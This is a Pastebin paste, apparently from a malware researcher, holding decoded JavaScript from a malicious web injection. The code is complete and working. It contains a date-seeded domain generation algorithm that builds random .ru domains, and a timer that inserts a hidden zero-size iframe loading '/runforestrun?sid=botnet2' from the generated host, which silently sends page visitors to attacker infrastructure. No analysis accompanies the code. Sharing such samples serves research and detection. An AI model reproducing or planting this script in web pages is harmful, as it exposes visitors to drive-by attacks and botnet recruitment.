Advertisement
unixfreaxjp

New Pseudo Decoded #MalwareMustDie

Oct 19th, 2012
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. function nextRandomNumber(){
  2. var hi = this .seed / this .Q;
  3. var lo = this .seed % this .Q;
  4. var test = this .A * lo - this .R * hi;
  5. if (test > 0){
  6. this .seed = test;
  7. }
  8. else {
  9. this .seed = test + this .M;
  10. }
  11. return (this .seed * this .oneOverM);
  12. }
  13. function RandomNumberGenerator(unix){
  14. var d = new Date(unix * 1000);
  15. var s = d.getHours() > 12 ? 1 : 0;
  16. this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  17. round(s * 0xFFF));
  18. this .A = 48271;
  19. this .M = 2147483647;
  20. this .Q = this .M / this .A;
  21. this .R = this .M % this .A;
  22. this .oneOverM = 1.0 / this .M;
  23. this .next = nextRandomNumber;
  24. return this ;
  25. }
  26. function createRandomNumber(r, Min, Max){
  27. return Math.round((Max - Min) * r.next() + Min);
  28. }
  29. function generatePseudoRandomString(unix, length, zone){
  30. var rand = new RandomNumberGenerator(unix);
  31. var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
  32. , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  33. var str = '';
  34. for (var i = 0; i < length; i ++ ){
  35. str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  36. }
  37. return str + '.' + zone;
  38. }
  39. setTimeout(function (){
  40. try {
  41. if (typeof iframeWasCreated == "undefined"){
  42. iframeWasCreated = true;
  43. var unix = Math.round( + new Date() / 1000);
  44. var domainName = generatePseudoRandomString(unix, 16, 'ru');
  45. ifrm = document.createElement("IFRAME");
  46. ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  47. ifrm.style.width = "0px";
  48. ifrm.style.height = "0px";
  49. ifrm.style.visibility = "hidden";
  50. document.body.appendChild(ifrm);
  51. }
  52. }
  53. catch (e){
  54. }
  55. }
  56. , 500);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement